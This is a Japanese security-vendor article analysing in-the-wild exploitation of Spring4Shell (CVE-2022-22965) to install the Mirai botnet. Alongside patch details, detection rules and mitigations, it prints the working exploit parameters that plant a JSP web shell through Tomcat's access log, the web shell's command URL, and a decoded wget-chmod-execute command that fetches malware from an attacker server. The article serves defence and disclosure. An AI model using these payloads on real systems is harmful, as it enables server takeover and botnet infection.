エクスプロイト&脆弱性
Spring4Shell(CVE-2022-22965)を悪用したボットネット「Mirai」の攻撃を観測
本稿では、入手した検体に基づき、脆弱性悪用、検出の経緯、解析結果、修正パッチ、潜在的なリスクおよび実際の適用例などについて説明します。最後のセクションでは、これらのリスクを軽減する方法について推奨事項を記載しています。
トレンドマイクロでは、Javaの開発環境で使用可能なフレームワークSpring Frameworkの脆弱性「Spring4Shell」(CVE-2022-22965)が悪用され、ボットネットマルウェア「Mirai」による攻撃が可能であることを確認しました。攻撃者は、Mirai本体を「/tmp」フォルダにダウンロードし、「chmod」により権限変更をした上で攻撃の実行が可能となります。
トレンドマイクロでは、このような活動を2022年4月上旬から確認していました。また、利用されるマルウェアのファイルサーバには、異なるCPUアーキテクチャ向けの別の亜種が存在することも判明しています。
本稿では、入手した検体に基づき、脆弱性悪用、検出の経緯、解析結果、修正パッチ、潜在的なリスクおよび実際の適用例などについて説明します。最後のセクションでは、これらのリスクを軽減する方法について推奨事項を記載しています。
■ Spring Frameworkとは?
Spring Frameworkは、Java環境において企業規模でのアプリケーション開発に使用され、手動設定を減らしてメモリ管理を強化するために開発されたモデルビューコントローラやMVCベースのアプリケーションを支援する包括的なインフラストラクチャを提供します。また、いくつかのデザインパターンを汎用的に実装することでコードの再利用性を高め、保守を容易にする機能も備えています。
また、クラウド、データ、セキュリティなど他のコンポーネントで構成されるSpringエコシステムの一部でもあります。
■「 Spring4Shell(CVE-2022-22965)」と「CVE-2022-22963」の違い
最近発見されたSpring Frameworkの脆弱性のうち、攻撃者によってリモートコード実行(RCE)を可能にするものは2つ存在します。双方の主な違いをまとめると表1のようになります。
共通脆弱性識別子 | CVE-2022-22963 | CVE-2022-22965(通称「Spring4Shell」) |
脆弱性の内容 | 関連モジュールのSpring Cloud Functionにおけるローカルリソース公開の不具合に特化している | 関連モジュールのSpring Coreアプリケーションで、デフォルト以外の環境下でRCEを引き起こす |
対応状況 | 修正パッチはリリース済み | 修正パッチはリリース済み(利用可能なパッチと緩和策のセクションを参照) |
CVSS深刻度 (CVSS 3.x) |
9.8(緊急) ※ただしCVE-2022-22965 よりも深刻度は低い |
9.8(緊急) |
影響範囲 | Spring Cloud Functionのバージョン3.1.6、3.2.2、およびそれ以前の未サポートバージョンで、ルーティング機能を使用する場合に影響がある | Spring Coreを使用するすべてのJavaアプリケーションに、デフォルト以外の環境で影響がある |
■ 影響を受ける依存関係・ソフトウェア・バージョン
この記事執筆の時点で、脆弱な環境の多くは、以下の依存関係となっています。
- Spring Frameworkのバージョン5.2.20以前、5.3.18以前、Java Development Kit(JDK)バージョン9以上
- Apache Tomcat
- Spring-webmvcやspring-webfluxと依存関係
- Plain Old Java Objects(POJO)など、非基本パラメータタイプを使用するために設定されたSpringパラメータバインディングを使用
- 展開可能なウェブアプリケーションアーカイブ(WAR)としてパッケージ化
- WebアプリやROOTなどの書き込み可能なファイルシステム
■ 脆弱性はどのように存在するか
一般的に、この脆弱性は特殊なオブジェクトやクラスが特定の条件下で公開されている場合に発生します。HTTPリクエストからのパラメータ抽出に役に立つ@RequestBodyのアノテーションがないPOJOへリクエストパラメータがバインドされていることはよくあります。この場合、クラス変数には、HTTPパラメータがマッピングされるPOJOオブジェクトへの参照が含まれています。
このため攻撃者は、リクエストにクラス変数を指定することで、オブジェクトに直接アクセスすることが可能となります。また、オブジェクトのすべての子プロパティも、クラスオブジェクトを通じて攻撃者にアクセスされる可能性があります。その結果、攻撃者は、プロパティの連鎖をたどるだけで、システム上の他のあらゆる種類の貴重なオブジェクトにアクセスすることが可能となります。
なお、Spring Framework のモジュールであるSpring Coreの「class.classLoader」および「class.protectionDomain」では、クラスオブジェクトの子プロパティに対して悪意のあるアクセスを阻止するロジックが用意されています。しかし、このロジックは確実なものではなく、実際には「class.module.classLoader」セレクタを使うことで回避させることが可能です。
■ 修正パッチの内容
Spring Frameworkの修正パッチは既にリリースされています。パッチとその対策については、後述で詳しく説明します。
ここでは修正パッチの内容について説明します。
上述のとおり「class.classLoader」および「class.protectionDomain」のロジックの安全性が十分でなかったため、Spring Frameworkが脆弱な状態となっていました。この問題を解決するため、今回のバージョンアップでは、子プロパティへのアクセスロジックが改善されたことで、クラスプロパティの「name」バリアントのみが許可され、「ClassLoader」および「ProtectionDomain」タイプのバインディングは許可されなくなりました。
修正パッチの詳細はこちらをご参照ください。
■ 脆弱性はどのように悪用されるか
ここでは、どのようにして攻撃者がプロパティの連鎖を辿って、システム上のあらゆる種類の価値あるオブジェクトにアクセスできるのかについて説明します。
クラス変数とそのすべてのサブプロパティにアクセス可能であることは、攻撃者がWebアプリケーションの動作を変更できることを意味します。そして公開済みクラスオブジェクトの悪用方法を熟知した攻撃者であれば、この脆弱性を不正活動に活用することが可能となります。
例えば、攻撃者がAccessLogValveオブジェクトにアクセスできた場合、Apache Tomcatのクラス変数「class.module.classLoader.context.parent.pipeline.firstpath」の悪用が可能です。そしてAccessLogValveオブジェクトのパターン、サフィックス、ディレクトリ、プレフィックスなどのプロパティを操作し、WebシェルをWebルートに書き込むためにアクセスログをリダイレクトすることによって不正な活動が可能となります。
具体的には以下のようになります。
第1ステージ
「burp suite」や「curl」を使って細工したパケットを送信します。
Sample Host = (http://{victim IP}:8080/)
図4に示すように、第1ステージのペイロードは、異なるヘッダを使用することなく、今回の公開済みの脆弱性悪用手法で説明するとおり、単一のリクエストとして送信することが可能です。このような脆弱性悪用の概念実証(PoC)は、第2ステージでも説明するように、配備されたアプリケーションへの受信ログをフォーマット化するというようなTomcatの正規機能が悪用されている点でも興味深いものと言えます。
第2ステージ
さらに第1ステージで使用されたペイロードを復号したところ、以下のパラメータと値を確認しました。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
このリクエストを処理する際、サーバは "tomcatwar.jsp "ファイルをサーバディレクトリに作成します。このファイルは、第1ステージで作成されたリクエストの以下の文字列で確認できます。
リクエストでは、具体的に以下の5つの属性が変更されました。
1. Pattern:リクエストから抽出され、レスポンスを記録するためのさまざまなフィールドを特定するフォーマットのレイアウトで構成されています。この場合、ヘッダから「c2」「c1」「suffix」がどのように取得されているかが把握できます。なお、フォーマットは「%<name_of_header>i」となっており、入力されたヘッダからの置換が行われます。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
2. Suffix:各ログファイル名の末尾に付ける接尾語を意味します。書き出されるファイルの拡張子は「.jsp」となっています。
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
3. Directory:ファイルを作成するためのディレクトリの絶対パスや相対パスを指定します。今回の例では、Tomcatのデフォルトインストールに含まれるパス「webapps/ROOT」が選択されています。
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
4. Prefix:各ログファイルが作成される際に付加される接頭語の文字列を意味します。今回の例では「tomcatwar」となっています。
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
5. fileDateFormat:このフィールドでは、ログファイル名にカスタマイズされたタイムスタンプの追記が可能となります。JSP Webシェルでは他の拡張機能を必要としないため、もしくは、デフォルトのタイムスタンプ形式を望まないことから「空欄」のままとなっています。
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
第3ステージ
またアップロードされたJSP Webシェルを使用することで、攻撃者は、以下のドメインで確認されたように、リモートからサーバ上でコマンド実行が可能となります。
- (http://{victim IP}:8080/tomcatwar[.]jsp?pwd=j&cmd=whoami)
■ 修正パッチ未適用の場合のリスク
リモートコード実行(RCE)の脆弱性は、攻撃者による感染端末への完全なアクセスが可能となるため、危険で深刻な不具合といえます。攻撃者は、RCE脆弱性悪用の攻撃を通じてさまざまな目的を達成することができます。他の脆弱性悪用とは対照的に、RCEの攻撃は通常、以下のような結果をもたらします。
- 攻撃者がマルウェアのインストールやその他の目的を達成するため、対象の端末への初期アクセスを許可するパスの作成が可能となる
- 感染端末から情報窃取を目的とするマルウェアの拡散手段の提供や、感染端末へのマルウェアインストールコマンドの有効化が可能となる
- 感染端末もしくは端末上の他のアプリケーションの動作に支障をきたすサービス拒否攻撃(Denial of Service, DoS攻撃)の実行が可能となる
- RCEの脆弱性を悪用したクリプトマイニングやクリプトジャッキング型マルウェアをインターネットに露出したデバイスへ感染させることが可能となる
- ファイルを暗号化し、被害者が身代金を支払うまでアクセスできないようにするランサムウェア攻撃が可能となる
■ 最初期に確認された事例
トレンドマイクロでは、2022年3月31日に初めて当社のハニーポットにおいて、リクエスト内の「class.classLoader」を制限する侵入防御ルール「IPS rule: 1006015」にマッチしたログを確認しました。
- IPS rule: 1006015 – Restrict Apache Struts “class.classLoader” Request
また、攻撃者がSpring4shellの悪用を試みるペイロード送信時のパケットを検知する侵入防御ルール「IPS rule: 1011372」がトリガされたことも確認されました。
- IPS rule: 1011372 - Spring Framework "Spring4Shell" Remote Code Execution Vulnerability (CVE-2022-22965)
図8は、脆弱性悪用の試みが失敗したときに確認されることがあるセキュリティログ監視機能のログになります。この場合は、TomcatのROOTディレクトリのパーミッションに一貫性がなかったため、Webシェル(shell.jsp)であるログファイルの作成に失敗したことに起因しています。こうした攻撃の痕跡は、脅威アナリストが今回のような脆弱性悪用の可能性を調査する上でも有効な情報となります。
図9におけるセキュリティログ監視のログも、脆弱性悪用が成功しなかった結果として確認されました。この場合は、ファイル「shell.jsp」が作成されていませんでした。このファイルがないため「java.io.FileNotFoundException」として例外がログに記録されていました。
■本脆弱性はマルウェアMiraiを中心に活発的に悪用されている
トレンドマイクロでは、脆弱性Spring4Shellの活発な悪用を確認しており、攻撃者は、特にシンガポール地域の脆弱なサーバ上でボットネットマルウェアMiraiを攻撃手段として実行することが可能でした。
この攻撃では、まずマルウェアMiraiが「/tmp」フォルダにダウンロードされ、実行可能になるように「chmod」によって権限変更が施された上で不正活動に至っていました。このケースで悪用されたリクエストおよび解読されたコマンドは以下のとおりとなります。
- http://{victim IP}:9090/tomcatwar[.]jsp?pwd=j&cmd=cd%20/tmp;%20wget%20http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNN
x86;chmod%20777%20*;./KKveTTgaAAsecNNaaaa.x86%20mSpring[.]x86 - cd /tmp; wget http://45[.]95[.]169[.]143/The420smokeplace.dns/KKveTTgaAAsecNNaaaa.x86;chmod 777 *;./KKveTTgaAAsecNNaaaa.x86 mSpring[.]x86
- http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNNaaaa.x86
トレンドマイクロでは、2022年4月上旬にこれらに関連する検体を確認しました。また、このマルウェアのファイルサーバには、異なるCPUアーキテクチャ向けの亜種の存在も確認されました。
スクリプト「wget.sh」は、不正なサーバからマルウェアのバイナリをダウンロードし、これらすべてを実行します。このため、互換性がある場合は実行され、残りは実行されません。実行後、ファイルはディスクから削除されます。
■ Trend Micro Vision One™による対応
Trend Micro Vision One™ではスレットハンティングアプリとして、各種モジュールや製品からのログをもとに攻撃の痕跡を検出して、それぞれのアラートごとに脅威の深刻度を評価することができます。Trend Micro Vision One™におけるWorkbenchアプリは、このアプローチを最適化した機能になります。
図13のWorkbenchは、Trend Micro Cloud One™ - Network Securityのログをもとに生成されています。同製品がどのように脆弱性悪用の試みを検出して阻止し、企業で導入した仮想プライベートクラウド(VPC)上のクラウドワークロードの保護に有効であるかを示しています。今回の場合、IPアドレス「10.10.10.176」のエンドポイントが侵入防御フィルタ「Intrusion Prevention Filter for Spring Core Code Execution Vulnerability」によってどのように保護されているかを確認することができます。
図14のWorkbenchは、複雑な攻撃パターンを単純化したものとなります。この場合、脆弱なEC2インスタンスが存在するVPCを保護するNetwork Securityの侵入防御フィルタがトリガされたことが確認できます。さらにこのWorkbenchの場合、Trend Micro Cloud One™ - Workload SecurityおよびNetwork Securityが共同で動作していることも確認できます。
また、Network Securityの侵入防御フィルタが脆弱性悪用の試みを最初から検出していることが分かります。その後、Workload Securityの侵入防御ルール「Identified Suspicious Command Injection」がトリガされているのが確認できます。そしてその上で、その他のコマンドが実行されていることが確認できます。不正な活動の一連の流れとして、「chmod」を介してパーミッションを変更した上で、「curl」や「wget」によって悪意のあるファイルをダウンロード・実行していることが確認できることから、脅威アナリストは攻撃の存在や原因を究明することができます。
影響範囲を確認する機能は、プロセス、ファイル、ネットワーク活動、コマンドの実行など、類似の不正活動が確認された他のワークロードを評価する上で有効です。この機能は、複数の製品にまたがる検出を1つの画面ですべて閲覧可能なため、複数の視点を総合的に把握する上で威力を発揮します。
図15のWorkbenchは、Workload Securityの侵入防御ルールによって確認することができます。コマンドインジェクションのトラフィックを監視し、Spring Core RCEの侵入防御ルールを適用することができます。異なる矢印は、IPアドレスとエンドポイント間の相関方向を示しています。
図16のWorkbenchでは、Workload Securityの各モジュールが機能していることが確認できます。最初に侵入防御ルールがトリガされたことが確認できます。その後、よく知られた暗号資産マイニングプールへのアウトバウンド接続があったことが判明しました。このイベントは、ファイル、ネットワーク、プロセスの活動をログに記録するActivity Monitoringモジュールによって検出されます。
Trend Micro Vision One™におけるWorkbenchアプリは、脅威アナリストがインシデントを分析する際に、脅威とは無関係なノイズを排除するのに役立ちます。トレンドマイクロの脅威エキスパートが検出ルールを慎重に設計・考案することで、企業はさまざまなサイバー攻撃を阻止することが可能となります。
■ 利用可能な修正パッチおよびリスク軽減策
Spring Frameworkの開発元からはこの脆弱性に対する修正パッチが公開されています。詳細はこちらをご覧ください。
企業では以下の対応を推奨します。
- Spring Frameworkをバージョン5.3.18+および5.2.20+にアップグレードする
- 関連モジュールSpring Bootをバージョン2.6.6+および2.5.12+にアップグレードする
また、当面の間、企業は以下の方法により、この脆弱性に関連するリスクを軽減することができます。
- Webアプリケーションファイアウォールにおいて「class.」「Class.」「.class.」「.Class.」などの値を含む文字列をブロックするための不許可リストやブロックリストを利用する
- バージョン8など、より低いJDKのバージョンにダウングレードすることで解決する場合がある。しかしアプリケーションの機能に影響を与え、より高いバージョンのJDKで緩和される他の攻撃を招いてしまうリスクが伴う。
■ トレンドマイクロのソリューションおよび調査
トレンドマイクロでは、各製品において脅威の検知・防御のためのルールやフィルタを公開しています。以下は、Spring4Shellに関連する不正なコンポーネントからの保護および検出を強化するものです。
Workload SecurityおよびDeep SecurityのIPSルール
- Rule 1011372 - Spring Framework "Spring4Shell" Remote Code Execution Vulnerability (CVE-2022-22965)
Network SecurityおよびTippingPointフィルタ
- Filter 41108: HTTP: Spring Core Code Execution Vulnerability
Trend Micro™ Deep Discovery™ Inspector Network Content Inspectionルール
- Rule 4678: CVE-2022-22965 – SPRING RCE EXPLOIT – HTTP(REQUEST)
- Rule 4679: POSSIBLE JAVA CLASSLOADER RCE EXPLOIT – HTTP(REQUEST)
■ 感染の痕跡(IOC、Indicators of Compromise)
IOCの一覧は、こちらのテキストファイルでご覧いただけます。
参考記事:
- 「CVE-2022-22965: Analyzing the Exploitation of Spring4Shell Vulnerability in Weaponizing and Executing the Mirai Botnet Malware」
by Deep Patel, Nitesh Surana, Ashish Verma
翻訳:与那城 務(Core Technology Marketing, Trend Micro™ Research)